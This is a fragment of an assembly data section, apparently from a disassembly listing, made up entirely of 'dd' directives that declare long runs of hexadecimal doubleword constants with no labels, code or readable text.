		dd 0A7D2162h, 2B11170h,	0DC78BF5Bh, 0CFEB47C5h,	63E3512Bh
		dd 0C7B15B03h, 4CE1657Fh, 4AC2C028h, 0E0A0D1A7h, 0CA305CC4h
		dd 5CC4D7D7h, 2B6B3930h, 0C584047Dh, 168C305Ch,	0CE58F280h
		dd 0B78FF106h, 0C53C7C2Dh, 0CED4305Ch, 9032A062h, 66D4A64Ah
		dd 0A619B432h, 6EBA6BE6h, 4D2FC084h, 8507F3F1h,	57F89511h
		dd 3F763814h, 2B210D8h,	0A74ABF5Bh, 276367D5h, 66D4A64Ah
		dd 46C4DC78h, 3A0A7486h
		dd 0E17D40A8h, 59A5D765h, 4ADDEF4Bh, 0B540DAA4h, 0DE5A050h
		dd 0F1D31F02h, 69F9032h, 7684DA57h, 64DAA44Ah, 3C3EDC78h
		dd 4A59E9F4h, 7864DAA4h, 0AE64EBEDh, 0F03864FAh, 0EB9F06BCh
		dd 3F746367h, 0D7618A6h, 65CD93CFh, 78B111A7h, 0C4F3B3EEh
		dd 871D305Ch, 0E54DCFC7h, 0BE26D079h, 3A42D79Bh, 0FA4AD8EAh
		dd 4A8200E8h, 6364DAA4h, 0C6B65B03h, 0A44A586Ah, 903264DAh
		dd 0E0F9929Fh, 585A2C8h, 4ABF5B02h, 8440DAA4h, 16960B8Dh
		dd 0FE305CC5h, 0E8DA16A4h, 46C4DC78h, 810CE4FEh, 0EC69B925h
		dd 0C29EB599h, 62C25062h, 0D6D2D64h, 0FDA7305Ch, 4A01836Fh
		dd 3267D5A7h, 420628B4h, 7173D3ADh, 0AA2A7BE3h,	0A44A7C4Eh
		dd 903264DAh, 0BDBA54Ah, 0D06EC37Eh, 11B5B2DDh,	84047DFBh
		dd 8C305C5Eh, 22BC8016h, 5C5E2F6Fh, 1AC3E130h, 0ECAB57F6h
		dd 83FD12BAh, 0FBC921A3h, 4ABF5B02h, 35B3E3A7h,	5CC53C7Ch
		dd 38CED430h, 0BE48DEE4h, 2FACE627h, 1BD7684Dh,	4A2763A9h
		dd 6364DAA4h, 0D4A64A27h, 0A9197A08h, 428B432h,	0DC14AE76h
		dd 0D5A74AEEh, 28B43267h, 1AA87406h, 181ECDEh, 0C5850978h
		dd 158F305Ch, 4A2763A7h, 7867D5A7h, 0FC403ADCh,	3870AE6h
		dd 0ED78B515h, 24CA863Eh, 617EC35Ah, 8D512BCEh,	2D8961F7h
		dd 78FF6D0Fh, 9E089BEDh, 39F11121h, 6C7BFFE5h, 0FD7B79D1h
		dd 63F3566Eh, 5AE8932Eh, 9784939h, 305CC589h, 63AB198Bh
		dd 0C5129F27h, 4A22305Ch, 6360D6A0h, 0B4ED7827h, 610C812Bh
		dd 7D3D7406h, 97305C0Ch, 5CF1250Dh, 9032AA18h, 60D6A04Ah
		dd 2F9B9032h, 1A3EED78h, 21D037FBh, 0FEB91A5h, 4A983AE3h
		dd 0AA43D5A7h, 6C56370h, 0EEDC1464h, 8D6A0363h,	0EB8F92ECh
		dd 811DAF8Bh, 4A903201h, 2E4CE0A0h, 883ECCD6h, 0C6202763h
		dd 0C85FB1Eh, 305CC58Ch, 0CC881E84h, 0F68C502Ah, 1F9F883Ah
		dd 2F305CC5h, 5B02B111h, 4AB515BFh, 548ED2A7h, 86E47483h
		dd 0F64E30C6h, 32E85EECh, 0C5209F90h, 720C305Ch, 5CC57F3Fh
		dd 4B139130h, 780ADA5Ah, 0A44A12B0h, 574E0ADAh,	0F61609D5h
		dd 7859D57h, 0AB17A53Fh, 0BF5B02F9h, 30D2635Dh,	2238384h
		dd 78270000h, 0F43C3EDCh, 9D53D1C0h, 1E9F9032h,	0A305CC5h
		dd 76CEA842h, 0E7C0D96Ch, 1DD90FD5h, 5B4AF7D5h,	27636BD9h
		dd 48EDA54Ah, 3CD2D02Ch, 28B4328Eh, 1BA97507h, 0DC78EDDFh
		dd 779B4339h, 4FAB3905h, 0A65C02BEh, 0A54AEC53h, 8C8541DBh
		dd 78E22008h, 0C4F3B3EEh, 871D305Ch, 2DB826ABh,	0CCC5E873h
		dd 305BD2CCh, 1CCF5E44h, 94A6265Dh, 0A0881AEAh,	0D5A74A62h
		dd 0C4DC7867h, 0CB6EA46h, 65DBA54Ah, 5859032h, 3C3EDC78h
		dd 0EA16E2E0h, 0A74A9743h, 0A331B3E3h, 4A27632Dh, 6365DBA5h
		dd 0D2A74A27h, 0F76CB1AFh, 8331C780h, 0DC789032h, 0E7FD413Bh
		dd 477F7A0Bh, 11E97BEBh, 0BF5B02B1h, 67D5A74Ah,	0A74A2763h
		dd 0B92AD4D2h, 942A5538h, 4A903226h, 326BD95Bh,	2B11190h
		dd 90019B5Bh, 305CC510h, 7456A200h, 46C4DC78h, 0A5E1B0B7h
		dd 2612AB00h, 0AF1D5FF2h, 5B4A2763h, 90326BD9h,	0EB47649Fh
		dd 5B4A8C7Bh, 4C5957DEh, 36D71746h, 7B4DD8B7h, 455DF9B5h
		dd 638331C7h, 78386903h, 98305CC5h, 6E88730Ah, 8177738Dh
		dd 0A74A1BA9h, 903267D5h, 4238DC78h, 67D3C2F6h,	0A715ABD5h
		dd 0A64A9032h, 0AA4C08D4h, 0D6760CD0h, 2BE03CBEh, 0D9B644E5h
		dd 0BF5B02E9h, 43D5A74Ah, 21098B9Bh, 6A0363E3h,	0AC422DAEh
		dd 0E57072D2h, 63CF23DDh, 320181A1h, 422919B4h,	103B06FCh
		dd 5B4AEAD8h, 73874FD9h, 43AF3509h, 78276341h, 311C64EDh
		dd 5A6F1DEAh, 4ED963C9h, 0A3ED45DBh, 3ADC781Dh,	0AE6FC40h
		dd 5CC53B7Bh, 0B1110B30h, 0F3B3EE78h, 1D305CC4h, 0A647AB87h
		dd 35911574h, 0FA875FDDh, 64A186BCh, 0D018AEDCh, 0D5A74AF2h
		dd 9F903267h, 53A65C23h, 0B2376FF7h, 31F76062h,	0A58D2344h
		dd 0C9951167h, 0B2326327h, 76C25052h, 0BF5B0254h, 67D5A74Ah
		dd 1812763h, 5B4A9032h,	8E874FD9h, 44AC360Eh, 20276346h
		dd 0C51F9FE2h, 112F305Ch, 0BF5B02B1h, 2C049115h, 643F39BDh
		dd 51FFCD25h, 9C9h, 0D5A74AF1h,	28B43267h, 15AF7705h, 169FEFDDh
		dd 2305CC5h, 0DC94B5Ah,	66A48CE8h, 5B02F456h, 0D2635DBFh
		dd 3B838430h, 3000005h,	0F8372B6Ah, 0A8808A9Eh,	78E2201Ah
		dd 0F43C3EDCh, 5CC49515h, 0B6EB8530h, 305CC4F6h, 0E43842D6h
		dd 4ECB6DEh, 2058586h, 0B515BF5Bh, 66D4A64Ah, 1819032h
		dd 0D066EE78h, 0E34B56AEh, 5F0E6A57h, 0CEC68614h, 0A5E5E44Ch
		dd 6F305C41h, 4B0AA335h, 0F7FF588Dh, 63794BA7h,	8CED7827h
		dd 0C0B789E7h, 2AC8C8B9h, 5A48305Ch, 179D6CC4h,	0F4DAAC2h
		dd 75C9B347h, 4A01836Fh, 6366D4A6h, 35ED7827h, 0F69F0017h
		dd 5D9E1E93h, 2C76305Ch, 0D266529Eh, 90323AA8h,	5CC5449Fh
		dd 13BF2C30h, 19B5B02h,	5CC51090h, 56A20030h, 0D4A64A74h
		dd 4769A42h, 27639E2Ch,	66D4A64Ah, 1819032h, 0DC789032h
		dd 0E2E03C3Eh, 631B6716h, 0E2A64A27h, 0E1ED31B3h, 89E2CB0h
		dd 60B5E77Eh, 0DE44F478h, 59A5277Eh, 63DDEF4Bh,	0CDB66A03h
		dd 48B35E7Bh, 0A64A22E0h, 903266D4h, 47C5DC78h,	0B8FD1AEBh
		dd 856FF272h, 9A1A9721h, 7A305CC4h, 2C2C028h, 0DC78BF5Bh
		dd 0E1E34339h, 0F389AD09h, 4A27637Dh, 7867D5A7h, 0F43C3EDCh
		dd 0EE780AB8h, 5CC4F3B3h, 0AB871D30h, 95A7EB0Fh, 32E755EBh
		dd 0DBA54A90h, 0D3AD4F0Bh, 0DB829673h, 2BEE41Fh, 0EE78BF5Bh
		dd 5CC4F3B3h, 0F5871D30h, 5CC4FCBCh, 0A28E1430h, 2B99E376h
		dd 25812763h, 1DE193B9h, 4A32C787h, 8200E8FAh, 5D54EE78h
		dd 305CC55Dh, 0FCBCEDB7h, 0DC305CC4h, 54524238h, 5CC55D5Dh
		dd 5FEDB730h, 4A655F93h, 6366D4A6h, 0FDED7827h,	63D6B862h
		dd 0CCC4F038h, 9032984Eh, 0FC1EC620h, 4A14B682h, 636AD85Ah
		dd 0D85A4A27h, 0B3EE786Ah, 305CC4F3h, 77AB871Dh, 0C51F9F4Dh
		dd 112F305Ch, 0BF5B02B1h, 6AD85A4Ah, 413BDC78h,	383CD1FDh
		dd 0E048DEE4h, 5A4AA51Dh, 0ED786AD8h, 0A07EA0BBh, 2A46B200h
		dd 0C51F9FB8h, 112F305Ch, 0BF5B02B1h, 6AD85A4Ah, 38690363h
		dd 305CC578h, 0D4B8BA50h, 4AA062CEh, 326AD85Ah,	88258190h
		dd 6F6F5666h, 879531ACh, 5F9B29F5h, 8909786Dh, 8B305CC5h
		dd 9032AB19h, 4ED85A4Ah, 0BEAF57B7h, 7FBB05A7h,	0B3EE784Dh
		dd 305CC4F3h, 26AB871Dh, 8909789Ch, 8B305CC5h, 0E19BBD19h
		dd 0C468F4AEh, 9C546EB6h, 0C3ED782Eh, 0B086D6B8h, 23AAEA93h
		dd 26B4097Ah, 0E5A5DCCAh, 2F305BF3h, 8F208A72h,	67F570EBh
		dd 665438D5h, 0C88F5AB9h, 2763A260h, 0F3B3EE78h, 1D305CC4h
		dd 7250AB87h, 5CADA89Fh, 0B8E87430h, 4ACCFE3Ah,	326BD95Bh
		dd 0E8F27B90h, 54654ADBh, 0DC784B3Bh, 0FFE9413Bh, 5CC50282h
		dd 0E35DE830h, 49EAB609h, 9FB6B53Fh, 6973690Eh,	11C7DD81h
		dd 0A04A2763h, 903260D6h, 5D72339Fh, 0A04A0330h, 276360D6h
		dd 0C87ED78h, 38A5DA92h, 4436C4F0h, 79FB2AB2h, 0F1D31FA5h
		dd 5B4A9032h, 70874FD9h, 0D3A94C08h, 0BB97173h,	0D366EE78h
		dd 5A4F55A9h, 305CC55Ah, 0BD00E8BAh, 0D6A04A05h, 3EDC7860h
		dd 16E2E03Ch, 0A74A3F8Bh, 903267D5h, 47C5DC78h,	20087087h
		dd 89855F21h, 0B1117330h, 0D281ED78h, 63045394h, 10C26B97h
		dd 4729ED78h, 0BFB1FEECh, 7A13AA01h, 15DDABF5h,	7AE88CA1h
		dd 403ADC78h
		dd 870AE6FCh, 0D2A74A03h, 0F8A2DFEDh, 36A43A0Ch, 5B4A9032h
		dd 5AB64FD9h, 0BC05EFA5h, 32E1230Fh, 0D6A04A90h, 0CEA8420Eh
		dd 0C26B9576h, 874F5B30h, 0AD370F71h, 0DC784745h, 8AF64238h
		dd 0A74A37E3h, 0D3334DE3h, 638D43D1h, 39DC7827h, 2EC3F743h
		dd 0EE78984Eh, 5CC4F3B3h, 0F5871D30h, 5CC4FCBCh, 0A28E1430h
		dd 1D9F540Eh, 2D308985h, 5B020585h, 0B3EE78BFh,	305CC4F3h
		dd 0FAB871Dh, 63DC92EAh, 0D5A74A27h, 0F699DB71h, 78903288h
		dd 0C4F3B3EEh, 0BDD5305Ch, 0E54D573Fh, 0EE5CE031h, 0E2202763h
		dd 5CC51F9Fh, 710B30h, 305CC580h, 0E4261290h, 5B020585h
		dd 4AB515BFh, 3266D4A6h, 0E2A64A90h, 469E2C4Eh,	7873533Ch
		dd 5CC58909h, 0AB198B30h, 0E2202763h, 66D4A64Ah, 46C4DC78h
		dd 0F1B1E0FEh, 23305CC4h, 0BA07F381h, 0BE3E912Ch, 14F170D3h
		dd 1FA57903h, 7863A189h, 0E9413BDCh, 9D5329CDh,	6C38ED78h
		dd 0B9109FDh, 9FD1F32Fh, 305CC51Fh, 78B1112Fh, 0FD413BDCh
		dd 46E70BE7h, 91E725B0h, 349FDE32h, 0A64ACEFCh,	9F1D74D0h
		dd 4C4C3D47h, 0C4305CC5h, 24BE48DEh, 5CC52D6Dh,	75BDE730h
		dd 4A276357h, 3266D4A6h, 3BDC7890h, 9818E941h, 0A6305CC4h
		dd 5B02B111h, 0EC45029Bh, 0BA89A84Ah, 0A64A4C7Eh, 276366D4h
		dd 4AEDA54Ah, 42D0D232h, 2BD2E7E2h, 73C7A1DBh, 32CCB2DDh
		dd 0D4A64A90h, 0B3EE7866h, 305CC4F3h, 0D99BB11Dh, 1E97F05h
		dd 0E70BD3EDh, 0FF3B4995h, 0D85A4ACDh, 0ED78CFB7h, 0C8284B6Dh
		dd 89E5AA6h, 5C841599h,	37A5FF30h, 0BA6A0363h, 0D36A8FBDh
		dd 4A0EBC74h, 9A42D4A6h, 14940D8Bh, 0FC305CC5h,	80CC10A6h
		dd 0B1790F6Dh, 15276313h, 46B51B5h, 9D50000h, 394B9B19h
		dd 0EE78D3F1h, 5CC4F3B3h, 0AB871D30h, 5C96D4DAh, 3D2BC230h
		dd 0C643081Ah, 7825E753h, 5D5D54EEh, 0B7305CC5h, 0C4FCBCEDh
		dd 8E14305Ch, 99E376A2h, 0C4DC782Bh, 0C54F4F42h, 0E3C1305Ch
		dd 7F3F14Dh, 2581F9EBh,	1DE193B9h, 7819AB87h, 0FC403ADCh
		dd 0E59C0AE6h, 305CC4A5h, 7887356Fh, 0E34339DCh, 1A8409E1h
		dd 6DE98B2h, 9F16B47Ch,	305D6B82h, 96E80ED6h, 0A04A685Ah
		dd 0EE7860D6h, 5CC4F3B3h, 0AB871D30h, 0A2DF6977h, 305CC4E2h
		dd 0AB87032h, 4AEE5A4Ah, 40D6EC30h, 0D5ADE6FCh,	403ADC78h
		dd 383FEE8h, 0D305CC5h,	27632197h, 8CBD0A9Fh, 0A04A7A3Eh
		dd 5FADBAD1h, 0F187839Dh, 2058FF67h, 2763FAC8h,	60D6A04Ah
		dd 0E9F9032h, 7E3E8CBDh, 5B020585h, 0D6A04ABFh,	81276360h
		dd 89097801h, 8B305CC5h, 9032AB19h, 5D54EE78h, 305CC55Dh
		dd 0FCBCEDB7h, 14305CC4h, 502ACE8Eh, 6A1E3C98h,	5A64B83Ah
		dd 5CC56727h, 65FBA930h, 903261D7h, 24C99511h, 1F9DF450h
		dd 5B02F1D3h, 0B92581BFh, 17C3EC69h, 4EB53CD4h,	925E64B8h
		dd 89097830h, 8B305CC5h, 0DC78AB19h, 0FCEA46C4h, 5CC50585h
		dd 27950F30h, 1812763h,	0A04A9032h, 899844D6h, 0C512920Fh
		dd 0A002305Ch, 78B03212h, 4A27634Ah, 326AD85Ah,	4AE22090h
		dd 354CEE5Ah, 84BC1669h, 72009694h, 0A3D97CD8h,	0DBE94143h
		dd 0ED782763h, 6514A701h, 19BD7518h, 55F18B09h,	5D67BF3Dh
		dd 0DC783795h, 0BBF74339h, 0C51F9F09h, 4A2F305Ch, 4E0ADAA4h
		dd 8E0DD1ABh, 0C83BC766h, 0BF5B029Ah, 4ED85A4Ah, 7AF828B4h
		dd 5CC58707h, 0B31B8930h, 0B416E262h, 0A74A2763h, 0B43267D5h
		dd 0AF770528h, 78EFDD15h, 0C4F3B3EEh, 831D305Ch, 5CC58E0Eh
		dd 8E1C8630h, 0C4E3A3A2h, 4AF3305Ch, 6367D5A7h,	0D7196A03h
		dd 0F4CE262Eh, 5A4A8E3Ch, 90326AD8h, 67D5A74Ah,	0B1119032h
		dd 4ABF5B02h, 786AD85Ah, 0F64238DCh, 69E27BEBh,	0B8EF2EF4h
		dd 4AC5C733h, 9B43D5A7h, 0E321098Bh, 5A4A2763h,	90326AD8h
		dd 0F18B2581h, 5CC50080h, 1F921030h, 305CC49Fh,	0C5C73371h
		dd 0C5890978h, 198B305Ch, 0B3EE78ABh, 305CC4F3h, 2C507BE4h
		dd 0B4D8DB5Eh, 97695FEEh, 0C58F553Ch, 7893316Dh, 0C4F3B3EEh
		dd 831D305Ch, 5CC58E0Eh, 8E1C8630h, 9C1E76A2h, 8127632Eh
		dd 89097801h, 71305CC5h, 0E438BCD5h, 0FBAF4FDEh, 0E9FC59B6h
		dd 91475D01h, 0B5152763h, 90320181h, 80D2A74Ah,	0EF6DA482h
		dd 0F82E1A5Eh, 0ED78F46Ah, 2934BB61h, 0AC31F98Ch, 0A9E99832h
		dd 6B305C5Eh, 9FD3F139h, 305CA9D3h, 66EE7863h, 4E54A8D2h
		dd 5CC55B5Bh, 3EFB530h,	48FE7E97h, 1819032h, 0D066EE78h
		dd 0E44C56AEh, 5CC4A5E5h, 87356F30h, 0ED782763h, 0C054F750h
		dd 239123BAh, 0E2AF35A4h, 1CB204E0h, 0E797178Ah, 2B79305Bh
		dd 4A0381CFh, 786BD95Bh, 0C4F3B3EEh, 871D305Ch,	4A9C26ABh
		dd 0B64FD95Bh, 217821ABh, 0EAA731DAh, 305C94AAh, 0D2F0386Ah
		dd 1F9F9032h, 2F305CC5h, 0EE78B111h, 5CC4F3B3h,	0AB871D30h
		dd 4A74A647h, 35B7EF5Bh, 0ED7831A7h, 7ED4428h, 0D0DD1537h
		dd 9FE22072h, 305CC51Fh, 0D252430Bh, 47D4D63Bh,	0CD25B62Bh
		dd 0D5A74AFFh, 0D1AB4D09h, 0B756BE0Dh, 43A3D97Dh, 0E6E4B341h
		dd 15BF5B02h, 0D85A4AB5h, 8190326Ah, 89097801h,	8B305CC5h
		dd 0C524641Dh, 0A915305Ch, 0F76DBCF6h, 6903A1EDh, 5C1C7838h
		dd 740A9830h, 9F2763C6h, 305CC51Fh, 0D85A4A2Fh,	27EEB74Eh
		dd 0DE87D467h, 2763B012h, 0ECDE5B4Ah, 0A258A976h, 0B046C4DCh
		dd 9032AC22h, 50DF5A4Ah, 0E0414576h, 328F3DD3h,	0DBA54A90h
		dd 0D6564F0Bh, 56F7190Eh, 3C008292h, 0B7EF10A6h, 29B5B02h
		dd 3B31273Ch, 0F3D1191Ch, 6BD95B4Ah, 5A4A2763h,	27636AD8h
		dd 0EE780181h, 5CC4F3B3h, 4837E430h, 4C4C42E0h,	0D9C86240h
		dd 305C36D9h, 6D81693Bh, 0D95B4A77h, 8190326Bh,	66EE7801h
		dd 4E54A8D2h, 0C49FE3E2h, 571305Ch, 2AB884F0h, 0B75A0294h
		dd 635F6DC5h, 0EF5B4A27h, 15A735B7h, 640B7378h,	8961EAB1h
		dd 1527633Bh, 0B3B99FB5h, 4A89305Ch, 3264DAA4h,	78018190h
		dd 5CC58909h, 0AB198B30h, 0F3B3EE78h, 1D305CC4h, 6DE9EB1h
		dd 0BF02EE7Ch, 91509F0Bh, 0B01C305Ch, 0E6A6DB9Dh, 2E305C90h
		dd 0B80AE674h, 67D5A74Ah, 628B432h, 0C5810170h,	1193305Ch
		dd 0C921A383h, 780181FBh, 5CC58909h, 0AB198B30h, 0A44A2763h
		dd 708440DAh, 1EA83A0Ah, 5CC52363h, 7BB7ED30h, 3ADC7849h
		dd 3F71B540h, 100306C4h, 9F6DD5D8h, 305D79F7h, 0C4DC7847h
		dd 28CEEA46h, 9032E056h, 9780181h, 305CC589h, 0F68F198Bh
		dd 0CD8CF9B7h, 0A765CD8Ch, 0A0B32763h, 9788137h, 37B5A9D6h
		dd 7810C6DCh, 0FE46C4DCh, 1810CE4h, 90320181h, 4AECA44Ah
		dd 40D6EC30h, 79ED7892h, 9F863C23h, 0ED555890h,	1F9FE220h
		dd 0B305CC5h, 63CFA943h, 2B111A1h, 0B515BF5Bh, 5CB56F9Fh
		dd 0A74A9F30h, 903267D5h, 97B92581h, 0AF8B19E5h, 0C4DC781Dh
		dd 9738646h, 6543AF35h,	5CC56C2Ch, 62F65E30h, 72BEC418h
		dd 0EB82148Eh, 16319264h, 9634FCD7h, 25812763h,	0C496168Bh
		dd 247E305Ch, 3F1DDA91h, 806836E6h, 4A903202h, 786BD95Bh
		dd 0DEB4DBEDh, 66C0D8D3h, 0E35DE8F8h, 0A728769h, 9131BC74h
		dd 66D4A64Ah, 671AB432h, 305CC527h, 7021BBE9h, 305CC530h
		dd 5476C2E0h, 0A64AE220h, 9AE074D0h, 4949384Ah,	31305CC5h
		dd 5CC54040h, 0C2D2D030h, 639C52E0h, 0DAA44A27h, 78903264h
		dd 0C4F3B3EEh, 871D305Ch, 0BBD0EEF6h, 33FFCD6Dh, 5CA65252h
		dd 789C3830h, 48A02202h, 0DAA44A7Ah, 0F8D8440h,	4745AD37h
		dd 0A64A2763h, 0C4E1A1D0h
		dd 7133305Ch, 0C2BF49E3h, 305CC4C2h, 2A985052h,	0F3B3EE78h
		dd 1D305CC4h, 4DE361B1h, 781B49E5h, 0E9413BDCh,	16562BCDh
		dd 0D2412310h, 328F3DD3h, 2B11190h, 0A64ABF5Bh,	276366D4h
		dd 64DAA44Ah, 0A64A2763h, 903266D4h, 5CC51F9Fh,	0B1112F30h
		dd 4ABF5B02h, 9A42D4A6h, 9935098Bh, 0BB770577h,	4A276309h
		dd 324CE2A6h, 0A842D0D2h, 0C523631Eh, 0B7ED305Ch, 9032497Bh
		dd 0EE780181h, 30CB5A57h, 5CB64141h, 44D1D330h,	0DF1B270Bh
		dd 5C046E2Eh, 89F8A630h, 305C0409h, 0F789AF0Bh,	321DD361h
		dd 0D85A4A90h, 9032CFB7h, 4DE2A64Ah, 75D1D333h,	56049AE2h
		dd 0E2202763h, 5CC51F9Fh, 95112F30h, 644473F8h,	4EC6222h
		dd 9B5B0286h, 0C5109001h, 0A200305Ch, 0B5157456h, 0EE780181h
		dd 4EAAD466h, 5CC4FFBFh, 0DD931130h, 1812763h, 671AB432h
		dd 305CC527h, 0D41BBCE9h, 591579FCh, 155D6FCBh,	37A0B3B5h
		dd 86097881h, 7637B5A4h, 0F8304AEEh, 32D88E14h,	32018190h
		dd 0D1A74A90h, 5CC4E0A0h, 25753030h, 963CF06Ah,	0BBF68016h
		dd 305C60FBh, 4BF98F15h, 0A44A2763h, 0B43264DAh, 0E27BF928h
		dd 0E687DABh, 0EAD810E4h, 133DED78h, 7481FF8h, 81DFE52Bh
		dd 4A903201h, 7864DAA4h, 0E03C3EDCh, 3F8B16E2h,	0F3B3EE78h
		dd 0D5305CC4h, 4F553943h, 9F675DE3h, 305CC51Fh,	0DBA54A2Fh
		dd 0D7A94F0Bh, 0CB79720Fh, 8531955Eh, 6D8D2CC0h, 0EE78CCB2h
		dd 5CC4F3B3h, 0EAAAE730h, 2A305CC4h, 0A28E1478h, 15439F3Eh
		dd 0DAA44AB5h, 0B3EE7864h, 305CC4F3h, 77AB871Dh, 0C51F9F4Dh
		dd 112F305Ch, 0D69F895h, 0B0C9A27Eh, 0DC784A78h, 0E2E03C3Eh
		dd 9743EA16h, 20DDA44Ah, 10A6F5B0h, 7870E674h, 0E8403ADCh
		dd 0A44A5DE5h, 9E2C4EECh, 0CFAA400Ch, 655B7BD2h, 5DA1379Dh
		dd 32D9EB47h, 0E74419B4h, 0BE70B4C9h, 1F9F5072h, 2F305CC5h
		dd 86FB9511h, 305CC506h, 6E5C940Eh, 339B5B02h, 30925E1Eh
		dd 64DAA44Ah, 4B5B0363h, 836F75C9h, 0DAA44A01h,	39DC7864h
		dd 2DBBF743h, 4EC70A1h,	78018186h, 0A53C57EEh, 5452BED1h
		dd 1CADED9Ch, 3D67305Ch, 7890328Fh, 0E03C3EDCh,	8CA216E2h
		dd 27637CF2h, 0C841EC7Bh, 0E6C35AD8h, 0ABE570D9h, 2A547E2Fh
		dd 78754D46h, 5CC58909h, 16E47130h, 0D5BD07DBh,	2C6C25B7h
		dd 0E4305C17h, 148E72BEh, 782763A6h, 0C4F3B3EEh, 871D305Ch
		dd 4A7250ABh, 3260D6A0h, 54B39F90h, 78837F9Eh, 0EB47C5DCh
		dd 9D532DCFh, 0CB9F2763h, 0BB32A180h, 6BD95B4Ah, 5A4A2763h
		dd 90326AD8h, 7A99EF9Fh, 5A4A1F74h, 3636AD8h, 6ECA4A5Bh
		dd 0D85A4A5Ch, 0C8E864Eh, 0B432E624h, 0A9750728h, 9FEDDF1Bh
		dd 3783F368h, 2058590h,	0DC78BF5Bh, 0D3FF47C5h,	44AC42C2h
		dd 0CC24050h, 5B4A2763h, 90326BD9h, 4339DC78h, 51D3C3F7h
		dd 4A9032E3h, 4E0ADAA4h, 8209D557h, 503FBB62h, 0BF5B0272h
		dd 4FD95B4Ah, 0C4BCFCB5h, 4E54305Ch, 276320E2h,	6AD85A4Ah
		dd 0A44A2763h, 0EE7864DAh, 5CC4F3B3h, 0AB871D30h, 369F4D77h
		dd 68A189Fh, 40DAA44Ah,	138606B5h, 70B8605Eh, 0B3EE7852h
		dd 305CC4F3h, 26AB871Dh, 0D95B4A9Ch, 4A90326Bh,	7864DAA4h
		dd 0D441C4DCh, 23F859A4h, 80DC14AAh, 0D85A4A22h, 0D6A44804h
		dd 56F7190Eh, 20B7BA4h,	0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h
		dd 8AA0160Fh, 66425FEFh, 26B463E6h, 0DC782290h,	0E4FE46C4h
		dd 7801810Ch, 0F64238DCh, 9C522CC2h, 0DC782763h, 9CDE70C4h
		dd 9FF6220Eh, 0AF28B1Dh, 0C06E0F19h, 7ACAB446h,	0FF43DA68h
		dd 79A27EBDh, 324A78B0h, 0D2A04A90h, 5CC4DFDFh,	0DD733130h
		dd 4A90326Fh, 4C08D4A6h, 710FD755h, 5CC58000h, 85129030h
		dd 0DF40B25Bh, 0BF5B02E7h, 6BD95B4Ah, 5B4A2763h, 90326BD9h
		dd 189F369Fh, 0A04A068Ah, 0AD420ED6h, 0F81C73D3h, 94EAA151h
		dd 78BF5B02h, 0FF47C5DCh, 0AECE61E5h, 30E44C56h, 4E1A64E1h
		dd 0EB62E903h, 363E755h, 0C298FD6Ah, 35FDD375h,	39DC7897h
		dd 99F1D75h, 5743AF35h,	0C7C7BA3Eh, 81305CC4h, 2A860E6Eh
		dd 1AA87406h, 3240F684h, 5AC219B4h, 0F4A91A57h,	0CA9F8E3Ch
		dd 0BA4C346Bh, 5B02B111h, 0D95B4ABFh, 8127636Bh, 5ED7801h
		dd 61C010FBh, 5AAAD064h, 227EBA48h, 82730AA4h, 0F9078B94h
		dd 14206011h, 0B2F0305Ch, 0A04A4446h, 36360D6h,	0C5783869h
		dd 0A98305Ch, 0E2209C2Eh, 5CC51F9Fh, 0AC430B30h, 4AA664CCh
		dd 0DFDFD2A0h, 31305CC4h, 0B501DD73h, 4F0ADAA2h, 0DF604A5h
		dd 0BF5B0255h, 0BBB3B515h, 0CBDB422Bh, 3BC95CBFh, 38DC7885h
		dd 64E0E242h, 4A58A4D6h, 4A10B2EEh, 786BD95Bh, 0F9B83CEDh
		dd 0AE66CFCh, 5A4AECD6h, 0A74804D8h, 0F61609D5h, 4D3FAB57h
		dd 5DBF5B02h, 8430E063h, 8E483h, 109F2700h, 78305D52h
		dd 4CE0A04Ah, 925D8F29h, 24BA1A58h, 8634CAD8h, 413BDC78h
		dd 0A32BB5E9h, 8D17EF89h, 18167A5h, 0C5890978h,	198B305Ch
		dd 5B0363ABh, 6A78C4B4h, 0E2203C8Eh, 60D6A04Ah,	4238DC78h
		dd 0E17BEBF6h, 5CC4F0B0h, 5CB42030h, 22E048DEh,	14D1A04Ah
		dd 0CBC1F9ACh, 788F3DD3h, 83CDB6EDh, 7AB613A4h,	1A3C9826h
		dd 0DBDBD660h, 35305BFDh, 9F01836Fh, 305CC51Fh,	8000710Bh
		dd 90305CC5h, 11E42612h, 0BF5B02B1h, 44D6A04Ah,	38047698h
		dd 637C4EAAh, 9FE22027h, 305CC51Fh, 7805852Fh, 0F74339DCh
		dd 4814E28Bh, 0AD1FDB59h, 0A44AB515h, 0EE36B4ECh, 789046D4h
		dd 0E03C3EDCh, 0E8DA16E2h, 0EE780181h, 45AD2F66h, 5CC50484h
		dd 20960C30h, 0B75B0363h, 0A7C892C2h, 1AA89066h, 1F9FECDEh
		dd 2F305CC5h, 64DAA44Ah, 0A04A2763h, 779844D6h,	329F2D05h
		dd 0DAA44A90h, 1AB43264h, 5CC52767h, 7FBBE930h,	205854Dh
		dd 0A04ABF5Bh, 276360D6h, 92882581h, 0F6619B4Bh, 0B1671AB3h
		dd 0D0A246B4h, 0B432AA18h, 0AF770528h, 4AEFDD15h, 6364DAA4h
		dd 9FE22027h, 305CC51Fh, 0CEAE430Bh, 6846C76h, 9D5A74Ah
		dd 75D1AB4Dh, 0F64599E3h, 1013EF8Eh, 0BF5B02B2h, 181B515h
		dd 0A04A9032h, 78294FE0h, 305CC538h, 0A634CAD8h, 4A903230h
		dd 740ED6A0h, 523D3FD0h, 8509786Ch, 75305CC5h, 0FC34B8E9h
		dd 6DF89210h, 0E53C3279h, 66DB7242h, 0D9BA2EBFh, 3C3EDC78h
		dd 2763D6F4h, 0DFD2A04Ah, 305CC4DFh, 6D2153F9h,	576BFE30h
		dd 82105E7Eh, 27637EECh, 0ED780181h, 0F1DD53D8h, 1B57A362h
		dd 4AB515A9h, 0E0A0D1A7h, 30305CC4h, 0E9A9D872h, 2B305CC4h
		dd 3275EB79h, 0BC2F19B4h, 54F67EF2h, 1812E9Ch, 0C5890978h
		dd 2F8B305Ch, 1092720Ah, 0ED78CC82h, 9D17D602h,	36BB77E2h
		dd 3201818Ch, 0DAA44A90h, 9F276364h, 305D5756h,	0D2A74AE6h
		dd 80BBE8D6h, 89F892E2h, 305C0E09h, 710B990Bh, 0DEAAAE7h
		dd 782A305Ch, 903212B0h, 0C5890978h, 198B305Ch,	0EE780876h
		dd 0C55D5D54h, 0EAB7305Ch, 0AD7FF4AAh, 0C921B7C6h, 5C257838h
		dd 1A3C9830h, 631CD260h, 78E22027h, 0E032D5EDh,	0CE5F3357h
